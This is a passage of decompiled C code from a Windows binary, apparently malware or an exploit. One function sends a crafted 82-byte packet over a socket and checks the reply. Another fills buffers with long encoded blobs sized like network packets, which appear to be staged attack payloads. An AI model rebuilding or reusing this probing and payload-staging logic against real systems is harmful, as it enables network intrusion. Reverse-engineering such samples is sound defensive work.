  2575.         g3 = v1;
  2576.         return 0;
  2577.     }
  2578.     // 0x401c9b
  2579.     int32_t v9;
  2580.     g4 = g4 & -256 | v9 & 255;
  2581.     g6 = g6 & -256 | v8 & 255;
  2582.     int32_t v10;
  2583.     *(char *)&g82 = (char)v10;
  2584.     *(char *)&g83 = (char)v9;
  2585.     *(char *)&g84 = (char)v6;
  2586.     g85[0] = v8;
  2587.     if (send(sock_fd, (char *)&g81, 82, 0) == -1) {
  2588.         // 0x401d62
  2589.         closesocket(sock_fd);
  2590.         // branch -> 0x401d68
  2591.         // 0x401d68
  2592.         g5 = v2;
  2593.         g3 = v1;
  2594.         return 0;
  2595.     }
  2596.     // 0x401cd6
  2597.     if (recv(sock_fd, (char *)&buf, 1024, 0) != -1) {
  2598.         // 0x401ced
  2599.         int32_t v11;
  2600.         if ((char)v11 == 81) {
  2601.             // 0x401cf4
  2602.             if (a2 != 0) {
  2603.                 // 0x401d4d
  2604.                 closesocket(sock_fd);
  2605.                 g5 = v2;
  2606.                 g3 = v1;
  2607.                 return 1;
  2608.             }
  2609.             // 0x401cff
  2610.             *(char *)&g86 = 66;
  2611.             *(char *)&g87 = 14;
  2612.             *(char *)&g88 = 105;
  2613.             *(char *)&g89 = 0;
  2614.             *(char *)&g90 = 0;
  2615.             if (send(sock_fd, (char *)&g81, 82, 0) != -1) {
  2616.                 // 0x401d36
  2617.                 g4 = v4;
  2618.                 if (recv(sock_fd, (char *)&buf, 1024, 0) != -1) {
  2619.                     // 0x401d4d
  2620.                     closesocket(sock_fd);
  2621.                     g5 = v2;
  2622.                     g3 = v1;
  2623.                     return 1;
  2624.                 }
  2625.             }
  2626.             // 0x401d62
  2627.             closesocket(sock_fd);
  2628.             // branch -> 0x401d68
  2629.             // 0x401d68
  2630.             g5 = v2;
  2631.             g3 = v1;
  2632.             return 0;
  2633.         }
  2634.     }
  2635.     // 0x401d62
  2636.     closesocket(sock_fd);
  2637.     // branch -> 0x401d68
  2638.     // 0x401d68
  2639.     g5 = v2;
  2640.     g3 = v1;
  2641.     return 0;
  2642. }
  2643.  
  2644. // Address range: 0x401d80 - 0x406eaf
  2645. int32_t function_401d80(void) {
  2646.     g6 = 1;
  2647.     g1 = 0;
  2648.     int32_t v1 = 137; // ebx
  2649.     *(int16_t *)&g123 = 2;
  2650.     g124 = 1;
  2651.     g125 = 0;
  2652.     g126 = 0;
  2653.     *(int16_t *)&g127 = 0;
  2654.     g128 = 1;
  2655.     g129 = 137;
  2656.     memcpy((char *)&g130, (char *)&g25, 34);
  2657.     *(char *)&g130 = *(char *)&g25;
  2658.     g131 = -0x60000000;
  2659.     g132 = 0x3f19b90e;
  2660.     *(int16_t *)&g133 = (int16_t)g6;
  2661.     g134 = g6;
  2662.     g135 = -0x75400000;
  2663.     g136 = 0x3f87d760;
  2664.     *(int16_t *)&g137 = 0;
  2665.     g138 = g6;
  2666.     g139 = 140;
  2667.     memcpy((char *)&g140, (char *)&g26, 35);
  2668.     g146 = 117;
  2669.     *(int16_t *)&g147 = 105;
  2670.     g141 = -0x51400000;
  2671.     g142 = 0x3f87fd66;
  2672.     *(int16_t *)&g143 = (int16_t)g6;
  2673.     g144 = g6;
  2674.     g145 = 6;
  2675.     g148 = 0xa400000;
  2676.     g149 = 0x3f842407;
  2677.     *(int16_t *)&g150 = 0;
  2678.     g151 = g6;
  2679.     g152 = 113;
  2680.     memcpy((char *)&g153, (char *)&g27, 28);
  2681.     *(char *)&g153 = *(char *)&g27;
  2682.     g159 = 116;
  2683.     *(int16_t *)&g160 = 105;
  2684.     g154 = -0x5f400000;
  2685.     g155 = 0x3f84f55d;
  2686.     *(int16_t *)&g156 = (int16_t)g6;
  2687.     g157 = g6;
  2688.     g158 = 6;
  2689.     g161 = -0x70200000;
  2690.     g162 = 0x3f84cd4a;
  2691.     *(int16_t *)&g163 = 0;
  2692.     g164 = g6;
  2693.     g165 = 1126;
  2694.     memcpy((char *)&g166, (char *)&g28, 38);
  2695.     *(char *)&g166 = *(char *)&g28;
  2696.     g167 = -0x4800000;
  2697.     g168 = 0x3f8d6219;
  2698.     *(int16_t *)&g169 = (int16_t)g6;
  2699.     g170 = g6;
  2700.     g171 = -0x59c00000;
  2701.     g172 = 0x3f882519;
  2702.     *(int16_t *)&g173 = 0;
  2703.     g174 = g6;
  2704.     g175 = 1502;
  2705.     memcpy((char *)&g176, (char *)&g29, 24);
  2706.     *(int16_t *)&g176 = *(int16_t *)&g29;
  2707.     char v2 = *(char *)((int32_t)&g29 + 2); // 0x401fd0
  2708.     *(char *)((int32_t)&g176 + 2) = v2;
  2709.     int32_t v3 = 1460; // ebp
  2710.     g177 = 0x63200000;
  2711.     g178 = 0x3f88f700;
  2712.     *(int16_t *)&g179 = 0;
  2713.     g180 = g6;
  2714.     g181 = 1460;
  2715.     memcpy((char *)&g182, (char *)&g30, 205);
  2716.     g183 = -0x50000000;
  2717.     g184 = 0x3f43a905;
  2718.     *(int16_t *)&g185 = 0;
  2719.     g186 = g6;
  2720.     g187 = 1233;
  2721.     memcpy((char *)&g188, "h5DH0RqsyNfEbXNTxRzla1zNfWz0bB4fqzrdNNfNXvtTv9FWqyXCEHLhOz9p7JXzJBBUd0OR9rg8DFXIyNXMHCfeX5v/e2cDPWn7sSP1HU8sivMdWSP79eiYWZ6DOYjDkYmaBrFWuOKpwLyotORDEi1GMahE7btGFTN2IMgml2b9wZvqSuc7aAciGNkl7+NgmkG9r323QqSJrjCgp+DJ9URAkHRp/ovZWeh65j6G5mVS3o3Ux5cH2pfT/VZm8xsBsr1o2YKlVmsY6mPAOnlmaEwFLrPTm5WIYnd0yOc3abTlt6R1RfwenXgqn5K1K6Uq5o7T+KblzWV1TXo0zTIBD/CwnKbkITPd7GkK+fG/pVTIAGxuI84OwkE6U9/WO3niv3bgLtebI/5Oj2ESIrNTwBRdIGzDYcK1VTlSYl0RMsMMZvWqZAhNBs9xfpyBgzAn+5NpIUwKnm6HS2UbNab6SQIQF53r0+Rx8w7xZkOEayDuGvPQ32Y7zfHtM8o8wsNxWPtI1zCcMUyHPA3zAeGkKIy51j911mdZeLmlXULTazhCdl+lYNd6aoUthPLUew6ng+vSLSxqF1N7+/bFkcWd5vuCPigEKxEg+X3d+JviOJaI9GJ2HWIT8ehFzv6JP7ymkH0XaHYKIXXDbGpMhJWmZzOd+KeEt4MY6Be95bnyjLPxR8Htcc2E35+8q074yiBdThfaOMI18K65supem5lEgTe2lQdQurhhNhgbmYPpmWsSerB8R4CiDHQg6B1xxN9lpUnCWCn37Ib9vdQ2V90almoOSh5FfBxJiPIERqxvWkHqv3h/c0c8MZ3kLJi/+5PD+F/rT0hmgD1lUoqZ9KfEAB/ivMQzIbMnhoJ6DpDZwXvWgYON+Ti4Of8cD3JVZFHKCPtFO1LWNuXu9DHS0cChPvbPTNgL1fuz3hWniAOjJxyXhilxEmUKoCuaHrjL7/mCwA8mUTF8nZfDOYFw/CN4ol8UuKSKKNotx6s4EGyOXAGxRTqQw5Rqr70SWFUVy18EO3TCMj/3eC7HjDV7CAh6+160YbDs53m7AehAx+OlUNq01wPuaxFfSqlgcUG+9Rn1b/Xp1jvWeSkCNdYiiiXi1XwsMrdhKZGKroSXSSJclExe6ZgcNNPa/HgjvXbwtmRkgiGneql4mBYmKDzcXCkp/tjnL6/KriY81gMHN4G9ulMunxVyF8wybDcifTOxtarjLXVRuC1Y7vzYaEuHT", 308);
  2722.     *(char *)&g188 = 104;
  2723.     g189 = -0x30000000;
  2724.     g190 = 0x3f147e6f;
  2725.     *(int16_t *)&g191 = 0;
  2726.     g192 = g6;
  2727.     g193 = 1502;
  2728.     memcpy((char *)&g194, (char *)&g31, 375);
  2729.     *(int16_t *)&g194 = *(int16_t *)&g31;
  2730.     g195 = -0x2a800000;
  2731.     g196 = 0x3f8ecd73;
  2732.     *(int16_t *)&g197 = 0;
  2733.     g198 = g6;
  2734.     g199 = v3;
  2735.     memcpy((char *)&g200, "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", 365);
  2736.     g201 = -0x40000000;
  2737.     g202 = 0x3f4608d3;
  2738.     *(int16_t *)&g203 = 0;
  2739.     g204 = g6;
  2740.     g205 = 1502;
  2741.     memcpy((char *)&g206, "3sxfTAmCeXYmxqp/uqbTXyzLuEeBVEQC+q+hJQIMH8S3pvjY4qziXxmKoxQJCp9NNfEPvrWQ2f5JF48rhgfAgfEBi9S+/TVTxxXrieIKawGSCbkmKBoAwY4WdzTcDYx4g//iNrX1QAaaoDf8vb9ATdjaHfqzNP9gurzND8sPwoq+ycAIaNYJiETdZI0B2Q+hKiGeDLdEO1saWq9h01RJDy/P9mlctezmygnbBrGg7c96cIg+6bdk1qzWg+4pL4TiW3oItBPL479EawjdSdG0ylAzArCpsQOKbLinzREtN4WvASRp630H2BfNIlTzTWOJgr31eRv2xeirFjtwqpcu5ALyz3Juw6ewjc7IGZ1a1D5hn82L2KejU4OnLaNrMFiGieF4C53LX7MZvVeUkxUg6qp+hCSfUIVUJUwgsHZrsz/fYuPWX1WzLJE9xN0mkiX53rb/c5+IzbStPqEtOiFSND6P1ud65kV4Gmp4WqeVftdcHAvBQCq44EmmKxWurmNEEojdq8jxZ7XRHVWtwu7DbGIiRbwmx82L4PeX3XIcLYMqqLBHpOO/vkaj2SMq93y4bWP9yrepQQ9pgralkGcVWBOlqZ6muD6zMY8kChC9NW9mzBRoUa4D8xlVjMpiqXlNggBIydZLt7KE5Nqcel/qY6hEc7FHT3+bPjHVKO5yCYF8R1Mun5ixLcdXS3NghRRf9qC3nr8XLuyVS/+ktxQYZlz0k48pfLrspxguOJkJER3GZcDT0B0rJHHIwqdx1VQVA3OUsbNBdNz0ReDlKIZt8kTDlk4mO8+YM9Uz2l6uV8QPCTDtYZZeaJCDxlQx+sXE2ZgAQEr6neprH8ycAIb64J3C5ZI0yFkLDbN2U+BkPA8otv1dADGEqxI1TtkOY/LcyNddDhyAW9gm4qf3MQyzclmKXbk8uEb3ZKFRmhGAUi+SFtzvnF6DZ5XCgpICgfBlIsU7SW6nO6yrRnOR6WKty1jMySkvyEUBr97g3YOgzTsp0vOZBz1mFpD0qJ7jOSjyWD5q+/HB7bJFC25fBV/a4+bp5dMa6s9wjOF9LUt1VPCd6mGZ1IxZQV94kzBmdbNoQNotIBUcyLOO3mtEyKHMarLQ7IdL3+6QPjrtZ676JFF6Fhco3kcwxLi7tEokjkrjiuxTJ7VOLMMoSqihIRgpTXkEvW4yy3O1fgQ+bAb0PNcCPaSxznfpGq9Rcq8uTkCgqDKEBujpjKKYi4BHd", 375);
  2742.     *(int16_t *)&g206 = 0x7333;
  2743.     g207 = 0x44000000;
  2744.     g208 = 0x3f3fff8f;
  2745.     *(int16_t *)&g209 = 0;
  2746.     g210 = g6;
  2747.     g211 = v3;
  2748.     memcpy((char *)&g212, "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", 365);
  2749.     g213 = -0x80000000;
  2750.     g214 = 0x3f0d9316;
  2751.     *(int16_t *)&g215 = 0;
  2752.     g216 = g6;
  2753.     g217 = v3;
  2754.     memcpy((char *)&g218, "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", 365);
  2755.     g219 = -0x7d400000;
  2756.     g220 = 0x3f8a7ec5;
  2757.     *(int16_t *)&g221 = 0;
  2758.     g222 = g6;
  2759.     g223 = 1006;
  2760.     memcpy((char *)&g224, "Co6VyL/2OMkh8Xd/uxIcLXlrXkCaF76WjPmNkahVfphCFVXIV8pz/zsJ80BQ7kKONSR+M8Dn6PIP263jK836WGTcqTaWB3DI0a/0DB11ydekB1eBeGr/+RE6pTf40XYTNnpr34L7LzDgRuBdUgdtcmGm7G8nXS/iAjqcsxzmmP6z8CzN1th5P5xMtLvct8uvBK0+RYApTjXZ05Jm/Y3QXAs2xPrT0zv76dx+qLAfa7vC4ZH6KUbkSZLZomHg5e1SHinswmpTbZamf8HlPgyt2OjqN5DOF3mqBg/Xzk1Qxo0y5LoCrCvFA5SDuIcvRmbjbJ3sj3yIfDl5Qe1np/fmhssM6Hk3+TWOSCmLs+BN/qTAhXHu3UZAQi4h/XOQPM3Mxj19S3XFonCmDBY12MFmYFopeKb+A9cbZ7sS2v4t9pEdsRpweSB3qoFxDekJtPSflugazyWKlhKRQk3HJBaj3tlf6XyiBNQiQi7fKbju97jNZZmQIK5QPvPsdrh5vZtVT7A0/padnNrBUR1pOp6fAZERDoBYRdD5bLVVEnf6A0HiVNpnsod8Yu2HUAbVNEEx4jRJulnWSJagt4uuKhelScrQZ7B7GizgSTZNrpMrMas2MGIRDL/6G9PLEicbqX4wcTgiX7IY1eMwzvfJmz11lgoqdH09ydJTdH1OWY+iLZY83r5clvtdlA1cTqwtOjaF+sG+6yrNo22im3v/